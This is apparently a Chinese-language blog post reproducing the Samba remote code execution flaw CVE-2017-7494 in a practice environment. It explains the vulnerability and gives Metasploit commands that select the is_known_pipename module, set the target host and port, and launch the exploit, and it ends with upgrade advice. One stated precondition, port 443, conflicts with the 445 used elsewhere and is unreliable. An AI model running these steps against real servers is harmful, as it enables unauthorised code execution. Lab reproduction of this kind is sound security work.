[漏洞复现]Linux版的"永恒之蓝"

vFREE
2021-12-08 / 0 评论 / 35 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年12月09日,已超过291天没有更新,若内容或图片失效,请留言反馈。

1.漏洞信息

samba远程命令执行漏洞
CVE编号CVE-2017-7494
影响版本Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本
危害命令执行/代码执行
级别

2.漏洞原理

samba运行连接一个远程的命名管道,并且会在连接前调用is_known_pipename()函数验证管道名称是否合法,但是该函数不会检查管道名称中的特殊字符,加载了使用该名称的动态链接库,导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码,相当于Linux版的永恒之蓝

3.利用条件

目标开放了443端口
具有共享文件写入权限
共享目录的网络路径

4.漏洞复现

为了给大家提供一个漏洞复现的环境,找到了两个环境给大家使用
漏洞环境
环境一(自己搭建)https://pan.baidu.com/s/1QueT0MgKqTK-4Y1pIThHSw (提取码:gc29)
环境二http://ctf.vfree.ltd/challenges#easy_smb-113 (请勿破坏环境,谢谢大佬们~)
1.打开kali,打开命令行

2.打开msfconsole,由于metasploit已经集成了该漏洞利用的payload,所以直接用kali复现即可

3.payload名字是is_known_pipename,如果忘了或者不知道payload的路径,可以输入命令
search is_known_pipename
这个关键词去搜索payload路径,返回了
exploit/linux/samba/is_known_pipename
扩展一下知识,返回的路径第一个exploit就是攻击的意思,攻击模块,还有一个模块叫做auxiliary,意思是验证某个漏洞是否存在,这两个也是较为常用

使用攻击模块,键入以下命令
use exploit/linux/samba/is_known_pipename

键入命令查看需要配置的选项
show options

在Required一列中,凡是是标明yes的,都要填入信息,也就是说利用该漏洞,要填入RHOST和RPORT,由于环境二是搭建在docker上面的,我把445端口映射到10003端口,这里的445要修改成10003,执行一下两个命令
// set+Name+内容
set rhost ctf.vfree.ltd
set rport 10003

然后在使用show options去查看是否设置成功

可以看到已经设置成功,接下来使用
exploit
命令发起攻击

稍等片刻,如果出现了session 1的字样则代表攻击成功

执行命令验证

攻击成功

5.漏洞修复

修复建议
修复建议升级samba到4.6.4/4.5.10/4.4.14甚至更高的版本
0

评论 (0)

取消